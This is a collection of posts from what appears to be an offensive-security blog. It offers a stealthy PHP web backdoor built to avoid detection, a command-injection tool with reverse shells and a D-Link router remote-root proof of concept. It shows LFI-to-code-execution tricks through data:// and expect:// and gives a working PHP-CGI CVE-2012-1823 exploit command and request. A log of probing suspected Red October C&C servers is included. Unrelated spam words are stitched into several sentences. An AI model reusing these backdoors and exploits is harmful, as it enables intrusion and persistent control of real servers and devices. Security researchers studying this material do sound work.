Tool Release: phpkit 1.0 Web Backdoor

This is the (about bloody time too) release of the “PHPKit” PHP backdooring tool I was working on in my free time over the past while.

phpkit

phpkit

While not as advanced as “proper” web backdoors such as “weevely”, or “webhandler”, I feel PHPkit is something “interesting” to say the least.

Unlike most PHP backdoors, phpkit’s trojan contains no unusual function calls like “System” or “eval”. The only things it does are an ini_set and “include”. All “suspicious” PHP calls are made at runtime in-memory :D
This, I feel, makes it have a far smaller footprint on the target server. All payloads are sent as raw PHP in raw POST requests, where php://input passes them to the “include” function. It uses ini_set to attempt to enable allow_url_include if such is disabled, but I am working on a better workaround at the moment than this.
Likely something to do with fopen and suchlike… Will figure it out for the next version ;)

I actually got the idea to write this from when I was writing an exploit for the PHP-CGI bug, as shown here: http://insecurety.net/?p=705

This tools “shell” is somewhat rudimentary, in that it (unlike Weevely), does not store CWD, etc. It simply executes commands, which is what I designed it to do. It does, however, have a rather nice file upload stager, which I was rather happy with.
It is reasonably reliable for an experiment, and certainly is interesting in that the evil code is ran entirely in memory ;)

Anyways, enough talking about how awesome it is (it really is not that awesome :( ), time for some demos and useage.

So, obviously you have placed odd.php on the target server somewhere, somehow. What next?

Well, the only mandatory argument is –url=’URL’, where the URL is the URL to the odd.php file (or whatever you called it). By default, the tool will attempt code execution and pop you a shell if possible.
If not possible, it simply exits.

The –mode operator allows you to choose what mode you want to use. By default, the “SHELL” mode is chosen, however “UPLOAD” is another option. If you choose “UPLOAD”, you must specify a local and remote file.
To specify the local file (File to upload), use –lfile=”PATH TO FILE”
To specify where to write the file, use –rfile=”PATH TO PLACE FILE”

This should upload the file cleanly and rapidly, allowing you to move on with the pwning of things.

Here is a screenshot of it in shell mode

phpkit shell mode

Shell Mode

And here is a screenshot of file uploading.

phpkit upload mode

phpkit upload mode

Well, that’s all for now. As you can see, it is more of an experiment than a real software by any stretch of the imagination, however, if you find it useful let me know :)

You may download it here: phpkit-1.0.tar.gz :)

Web Exploitation Engine 0.1 Release

So, you might remember my short writeup on exploiting command injection vulnerabilities – http://insecurety.net/?p=403 – and note that the tool used, GWEE, was a bit outdated and often would not compile correctly on modern versions of Linux using GCC.

Had you ever messed with the tool, you might also notice one of the authors was Sabu, so as a matter of principle, I was going to avoid using it whenever possible.

So, many attempts were made at re-implementing the tool in Python, most of them absolute failures, totally rubbish, or otherwise “clunky” and inelegant.

Anyways, much messing about later, I stumbled across a piece of code by @LaNMaSteR53 named “rce.py”. You can download it here: rce.py (the original one).

My main problem when writing my implementations (prior to seeing LaNMaSteR53’s implementation) was handling the POST data. How the hell would I get it from the commandline to the tool itself without having the user editing some config file of some kind. To me, this was a major stumbling block.

So, when I saw Tim’s implementation, passing it “just like a GET, but telling the parser it was POST”, I had to borrow it. A quick bit of replacing the urllib stuff with requests.get and requests.post, and I had a decent base to build from.

While the retooled version of rce.py itself was pretty cool as it was, I felt it could be taken a lot further. The original beta had built in reverse shells (12 or so varieties), however it tended to crash and such a lot. No error handling whatsoever, and some of the payloads simply failed to function at all.

Eventually, I wrote the “payloads” module. A slimmed down version of it is included in the wee.tar.bz2 archive, as I have not finished the thing yet. Currently the public release contains only a python reverse shell, however it is extremely easy to expand upon.

Anyway, on with the show.

we.py has only one mandatory arguement, the –url arg. You simply (for a GET request, the default), put in –url=’http://victim.com/vuln?vuln=<rce>&otherparams=otherparams’
For a POST request, you put them in just like a GET request, and specify –method=post as an argument to tell the tool to parse them as POST parameters.

By default, it gives you the “rce.py” style inline shell prompt. However, using the –shell argument, you can specify it to use a reverse shell instead like so: –shell=reverse.

By default, the reverse shell will use 127.0.0.1 and 4444 as its lhost and lport, so you can change this with –lhost=LHOST and –lport=LPORT.

So, here is a screenshot of it in action:

Poppin' shells

Poppin’ shells

This tool is still being developed, so report any bugs you find in it and make suggestions :)

You may download it here: wee.tar.bz2 :)

Remember, use with care, etc.

Back… With exploits!

So, sovaldi finally my DNS issues and suchlike got sorted out, and the server has been migrated to a new host. Email is back as of a few hours ago (few issues with MX records and mailboxes or something and emails being delivered 10 times to me, but I think that will fix itself after a few days. I hope so anyway, because being bombed with 100 messages 10 times each is getting plenty bloody annoying).

Everything is upgraded to the new wordpress, no more nasty hacking the config files to get WP to work on a server not designed to run it.

So, while the site was “inactive”, I was working on a whole bunch of new content (and finishing old articles) to publish. Seeing as I have exams, I shall just leave a few gifts here for you to look at until they are over. dietrich may have something for you also :)

So, in order to keep everyone entertained for the next few days, check out the following piece of exploit engineering.

D-LINK DIR-300 and DIR-600 routers have a hilarious preauth remote root flaw in their web interface. A webpage called “command.php” that accepts a “cmd=$cmd” and executes it as root. EPIC FAIL. Why was that there? Ask D-LINK.

It was discovered by a German researcher, @s3cur1ty_de and you can read his original advisory here: http://www.s3cur1ty.de/m1adv2013-003

I had some free time in college, so I knocked up a quick PoC tool to exploit the flaw, and even managed to test the exploit on a friends router after class.

PoC Code: http://pastebin.com/raw.php?i=yPDKP86n

Remote Root

Remote Root

It delivers my customary user friendly shell interface, exploiting command injection. It can also autoenable TELNET and grant Telnet access, though this is seemingly less reliable, it hung when I tried it after rebooting the router.

Will be writing some more exploits, and maybe publishing them soon, so stay tuned ;)

Using PHP’s data:// stream and File Inclusion to execute code

This is a reasonably old remote code execution trick that I was actually unaware of until recently, illness when I stumbled across it by accident. I have been heavily researching various ways to go from a file inclusion bug to a remote code execution bug, and this one really got me interested.

As we previously mentioned in the I expect:// a shell post, medical you can use certain PHP streams to execute code via a file inclusion vulnerability. This one does not require any PHP extensions to be installed, unlike the expect:// trick, and relies solely on allow_url_include to be enabled, which sadly is becoming a rarity these days.

How this works is simple. PHP has a data:// stream, which can decode and accept data. If you insert some PHP code into this stream and include() it, the code will be executed. Rather simple, and rather effective too. I will cover php://input in a follow up post, and then post my findings on abusing FindFirstFile.

Essentially, instead of including /etc/passwd or a remote file, you simply include the following. data://text/plain;base64,PAYLOAD_GOES_HERE
Where the payload is base64 encoded PHP code to be executed. I choose to base64 encode the payload to avoid some problems I ran into with whitespace and longer payloads.

Now, obviously this would be no fun without a simple proof of concept tool to demonstrate the vulnerability. The following tool is under serious redevelopment at the moment, so it only spawns a bind shell at the moment. Next version will offer several payloads (I am working on a generic payload library for this kind of thing).

Data:// shell to bindshell :)

You can download the current version of the tool here: PHP data include exploit

I will update that code later, might do a video once there is something worth watching.

The Hunt For Red October

The Hunt For Red October – The Job So Far

Today, Kaspersky Labs released a report on a long running advanced persistent threat* (APT) they had uncovered, revealing a long running cyber-espionage campaign targeting a broad and diverse mixture of both countries and sectors. As usual the fingers were pointed at China (Chinese exploit chains, Chinese hosts used…), however, there was also some evidence to implicate Russian involvement, which was speculated to be a “False Flag” attempt.

An associate of mine, after reading the report, came up with a SHODAN dork rather quickly to identify the C&C hosts.

http://www.shodanhq.com/search?q=Last-Modified%3A+%27Tue%2C+21+Feb+2012+09%3A00%3A41+GMT%27+Apache

After a few seconds, he realized that the etag header on all of them was the same, leading to the following query:

http://www.shodanhq.com/?q=8c0bf6-ba-4b975a53906e4

SO, Fingerprinting information: just check for etag = 8c0bf6-ba-4b975a53906e4 :)

The “offending IP’s” are as follows. These are used as proxies it appears.
31.41.45.119
37.235.54.48
188.40.19.244
141.101.239.225
46.30.41.112
188.72.218.213
31.41.45.9

So, we now have a list of 7 C&C hosts. Time to break out nmap and see what they are doing.

The following scan string was used for an initial scan of all the hosts.

sudo nmap -sSUV -A -O -vvv 3 -oA huntingredoctober 31.41.45.119 37.235.54.48 188.40.19.244 141.101.239.225 46.30.41.112 188.72.218.213 31.41.45.9

The tarball of report files is available here: huntingredoctober.tar

The hosts identified as alive are as follows:
37.235.54.48
188.40.19.244
31.41.45.119

The other four were not responsive, probably taken down already. No fun.

Once I had identified which hosts were, infact, still alive (while the rest of the bloody slow scan was running), I decided to see what lay behind the scenes on these hosts, doing the “daft” thing of connecting to port 80 using my web browser. The clench factor was rather intense as I half expected to be owned by about half a dozen super 0day exploits on crack while doing so. instead, I was redirected harmlessly to the BBC.

The following HTML code was responsible for this redirect, which I thought was an incredibly clever way to hide their true purpose.

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<head>
<title>BBC – Homepage</title>
<meta http-equiv=”REFRESH” content=”0;url=http://www.bbc.com/”></HEAD>
</HTML>

Back to the nmap scan (it had FINALLY completed), the following was very interesting.

PORT    STATE         SERVICE     VERSION
80/tcp  open          http?
|_http-title: BBC – Homepage
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
138/udp open|filtered netbios-dgm
520/udp filtered      route

All of the servers looked like this. They all had those three ports – 80, 138, 520, open or filtered. The rest were all closed. The 188.40.19.244 host began sending me RST packets midway through my scan, but regardless, the work went on. I decided I was going to look at the webserver from informations kaspersky published.

Sending GET requests to the /cgi-bin/ms/check CGI script produced a 500 internal server error, as did other CGI scripts. This was interesting in that they told me to email eaxample@example.com about it. I did so immediately, being a good netizen. Note the mispelling of example – “eaxample”.

Being Nice

Emailing the big heckers. The email delivered

Apparently the mail was delivered successfully, so I hope they reply soon with an explanation.

On to more serious things, another analyst working with me uncovered another interesting thing.

He went and did the following:
printf “POST /cgi-bin/nt/th HTTP/1.1\r\nHost: 37.235.54.48\r\nContent-Length: 10000\r\n\r\n%s” `perl -e ‘print “A”x(20000)’` | torsocks nc 37.235.54.48 80

Now, he had figured out the page would 500, unless a content length was set. So, he set a long Content Length, and sent an even longer POST request.
The result was nothing short of fascinating.

HTTP/1.1 200 OK
Date: Mon, 14 Jan 2013 19:18:07 GMT
Server: Apache
Content-length: 0
Content-Type: text/html

HTTP/1.1 414 Request-URI Too Large
Date: Mon, 14 Jan 2013 19:18:08 GMT
Server: Apache
Content-Length: 250
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>414 Request-URI Too Large</title>
</head><body>
<h1>Request-URI Too Large</h1>
<p>The requested URL’s length exceeds the capacity
limit for this server.<br />
</p>
</body></html>

“Look mom! Two headers!”. Seriously, this is interesting. First it gives a 200 OK, then a second later something else says “LOL, NO”. The delay makes us think the proxy is saying “OK”, then the real C&C is complaining. The fact it complains about a request URL, and the length being in the POST request, makes me think the final data-to-C&C might be sent as a GET. Just a theory.

— TO BE CONTINUED —

// This post suffered a bad case of myself and fellow researchers having a lulz about it, and my cat straying onto my keyboard. It is a work in progress.

— Continuing the hunt —

Today we retrieved new intelligence (or rather, last night, but I could not act on this intel) from HD Moore of Metasploit project that more C&C servers had been located. The following link is the list of IP addresses.

http://pastie.org/private/ytbrfmqpn8alfjfrnbhcbw

So, it was decided (once the cat had gotten the hell off my keyboard) to investigate this list.
@craiu provided us with the tip “check out “1c824e-ba-4bcd8c8b36340″ and “186-1333538825000″ too.”, so we will act upon this later.

I decided, seeing as my internet went down for a while, to test out my Python skillz, and whipped up a quick program I named “SONAR”, which simply attempted a TCP connection to port 80 on the suspected C&C servers and logged responsive ones to a file. Source code attached.
sonar.tar

Sonar…

I could have used nmap, but that would have been unimaginative and, frankly, no fun. And who says hunting cyber-spies (So much worse than normal spies, ‘cos they got the dreaded CYBER in there) is not supposed to be bloody fun anyway, not me for certain!

We quickly reduced the list to a “lot less than we had”, and I queued them up for nmap scanning, which has yet to be done, as the sysadmins on the network I am using do not like when I portscan things for some odd reason. Or when I use SSH, or email.

Anyway, I digress.

So far, more C&C servers had been identified, and more “Fingerprinting” methods had been developed. I am considering writing a patch to sonar.py to dump out the etag data along with working IP’s, but that can wait til later. A simple HTTP GET / should do the trick, with a few regex’s.

We also obtained a list of MD5 hashes from malware.lu showing samples of Red October they have in their repo – see here -> http://pastebin.com/7zayMrKt so those were queued up for downloading (once on a non monitored by college network) for some analysis using IDA. That is to be tonight’s job – a quick and dirty first pass run of analysing these things.

* For the record, I think APT is another FUD term… But oh well, it has become “a thing”.

I expect:// a shell!

This blog post covers a fascinating method of leveraging Local File Inclusion to gain Remote Code Execution on a vulnerable host. It has several downfalls, but overall is one of the more interesting methods I have found, and I have not found any references to it anywhere that I looked online.

PHP has many “wrappers” to parse certain types of things. For example, the php://input or php://filter wrappers, which have been used in the past for both code execution and information disclosure – notably the PHP-CGI Arguement Injection exploit, which uses the php://input wrapper to inject code after making modifications to PHP.ini directives.

One of the more entertaining ones I stumbled across is how PHP handles the expect:// “wrapper”. For those who do not know, “expect” is a program/scripting language of sorts that one can use to interact with other interactive programs. Some of you may be familiar with pexpect from Python, which is used to interact with SSH sessions for automation. It is a rather powerful utility, and is often used by sysadmins to automate procedures which would normally require human interaction.

As it happens, amongst PHP’s many wrappers, there is an “expect://” wrapper. I stumbled across it by accident while looking up the correct way to use php://filter to read files via LFI (I will document that method later, it deserves a post of its own). I knew expect looked familiar, so when I looked more into it, I found examples of people using it in PHP scripts to automate things like ssh-ing to remote boxes, etc.

After a while it dawned on me that something interesting might just happen if I passed expect://ls to an include() call in a PHP script, so I decided to see what would happen.

I used the following vulnerable (to LFI) PHP script, and called test.php?hax=expect://ls

<?php
$code = $_GET[‘hax’];
include($code);
?>

It provided me with a directory listing of my webroot.

expecting shell

remote code execution

After a few minutes of thinking “oh, this is interesting”, I decided to see if I could knock up an interactive shell in Python to automate the whole procedure.

First off, I decided to see could I get it all to work out using Pythons “requests” module…

Seeing as it worked, now it was time to write a “shell”.

Gotshell?

got shell :)

Yes, I now had a somewhat interactive “shell” on the vulnerable host (localhost…). I considered releasing the proof of concept right there, however further messing about was warranted first, obviously. I needed to see how far I could “push” this vuln, and how cool I could possibly make the PoC tool before releasing it to the wild, where someone would doubtlessly give me much abuse about my python :P

So, without further ado, here is the video demo of it. It now checks if the host is vuln (very rudimentary check), and offers the “inline shell” or a reverse shell :) Download links at bottom :)

// Err, the video is on its way, I did not have time to clean it up sadly. I will edit this post in a day or so with the finished video, I promise :)

download link

CTF365.

So, it takes quite something to get me to be “Extremely excited” about a thing. However, when I heard about “CTF365″, I was pretty much like a small child on Christmas.
CTF365 is essentially a large scale, non stop, team based Capture The Flag event. You form teams, (and alliances of teams), and pwn the bajesus out of eachother. Points are awarded for each enemy team’s server you own, and I presume you lose points if you get owned. Essentially, it is “war”.

The reason this was so exciting to me is simple. It is an excuse to pit myself against other hackers, work with a great team of mates, and legally pop some boxes. And the CTF365 guys host the whole platform.

The scenario is the whole “Global Cyberwar” thing, with teams representing “Countries” (Each team having a server they must defend). To keep things fair, there is a minimum amount of “required” attack surface on each server, to keep everything at a sporting chance. Essentially meaning you have to cover both incident response/blue team stuff, as well as red team/offensive stuff.

For those of you who had been reading about CDCC and such in the US, but who, well, are not in the US, and want a chance to play something similar, this is probably your best chance.

I will be playing, it launches “sometime” in 2013. Hopefully soon… So why not check it out? (apologies for using my referrer, I want early access … because … pwning shit legally!) CTF 365 – Sign Up!

Updates

Updates to the wordpress install are going on. Any broken stuff, sale please let me know. Lost the damn header.png file, tadalafil so looking for it now…

Also, anyone who was served a redirect to a few images, my fault. I had replaced a PHP file with one that I use to “deter” people attempting SQLi… And it replaced index.php effectively thanks to a include()

Anyway, new content and articles on the way :)

// Temp header.jpg file in place for now.

Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823

The CVE-2012-1823 PHP-CGI exploit was, quite possibly, one of the most groundbreaking exploits of 2012. In a year that brought us MS-12-020 (the most hyped bug in my recollection), multiple Java 0day exploits, and several MySQL exploits, the PHP-CGI bug still stands out as one of the most hilariously brilliant bugs to show up for several reasons. Primarily the massive misunderstanding of how it worked.

For this exploit to work, PHP had to be running in CGI mode. A fairly obscure configuration not seen all too often in the wild. Essentially, with this vulnerability, you could inject arguements into the PHP-CGI binary and make changes to php.ini directives, allowing for remote code execution.

Developing an exploit for this bug is trivial. In order to gain remote code execution, you tell PHP.ini that it is to allow URL inclusion ( allow_url_include = 1 ), and to automatically prepend the “file” php://input. This means whatever we send in the POST request is parsed as PHP, and executed.

One way to exploit this (targetting example.com), using the lwp-request’s “POST” utility, is as follows.
echo “<?php system(‘id’);die(); ?>” | POST “http://example.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input”

As you will see in the video, we can easily use this to execute commands remotely from a BASH shell.

The HTTP request sent, looks something similar to this:

“””
POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: example.com
User-Agent: lwp-request/6.03 libwww-perl/6.04
Content-Length: 29
Content-Type: application/x-www-form-urlencoded

<?php system(‘id’);die(); ?>

“””

The response to that was the server sending back the result of our command (id), so we know it works.

So now we have a somewhat reliable “commandline” RCE method, however, we like to automate things… Let’s see how hard it is to write a reliable exploit in Python.

The following screenshot shows exploitation using Python.

PHP CGI Exploitation

Exploiting PHP-CGI bug with Python

So, we know now that using Python’s requests library (a mainstay of all my exploits, as I guess you noticed).

Now that we have reliable exploitation using Python, I decided to go a step further and write an actual exploit in Python to automate the whole thing. It simply drops you into a shell of sorts, giving you the ability to run commands as the web-user.

Exploit code available here: Google Code – Insecurety Research

So, along comes the demo, as usual in video format. This time, with additional tunes by Blackmail House who gave me permission to use their music in demo videos the other day in the pub :)

Remember, play nice out there.
 

Predictions for 2013 in Infosec

Here are the predictions for the year 2013 for those of us in the security field.

  1. More pointless debates on full disclosure/non disclosure/selling 0day to governments or whatever. Our good friend @csoghoian will continue to demonize the 0day sellers such as VUPEN and @thegrugq who will continue not giving a flying monkeys.
  2. More “ERMAGHERD BLAME CHINA” nonsense, physician calling skript kiddie level phishing attacks involving poorly written remote admin tools and old exploits “Advanced Persistent Threats”. Some decent threat actors will pop up with some shiny 0days and cause a widespread pants-soiling as they 0day the hell out of some US defence contractors from .CN subnets and generally make AV firms a shedload of money.
  3. More passwords will be leaked as script kiddies with Havij and SQLmap pop large websites who still do not think SQL injection is a thing. Groups such as “Anonymous” and their offshoots will proliferate, purchase with several “wannabe lulzsec” scrublords making a bit of a mess.
  4. More holes in Java, Adobe, and IE. Lots of holes. AV firms will capitalize on these to sell “ENTERPRISE SECURITY” products to people.
  5. More SCADA vulnerabilities will be touted which will cause “OMG HACKERS CAN HIJACK POWER PLANTS” headlines.
  6. The good people at Attrition will expose a literal buttload of Charlatans and said charlatans will be laughed at.
  7. Kaspersky will find some more malware, probably in Iran, and make headlines about the mythical “Cyberwar” thing. Kaspersky will make more money and press.
  8. We will see more shitty XSS posted on Full Disclosure. ESPECIALLY by “Vulnerability Lab”.
  9. I am going to wake up on the first day of 2013 and post a pretty cool proof of concept exploit, as per tradition. I will possibly be laughed at for how simple it is, and someone, somewhere, will facepalm for not figuring it out first.
  10. I dropped my crystal future seeing ball, sorry.

And, those are our predictions. I am betting a pint on those, so they better bloody well be right.

-info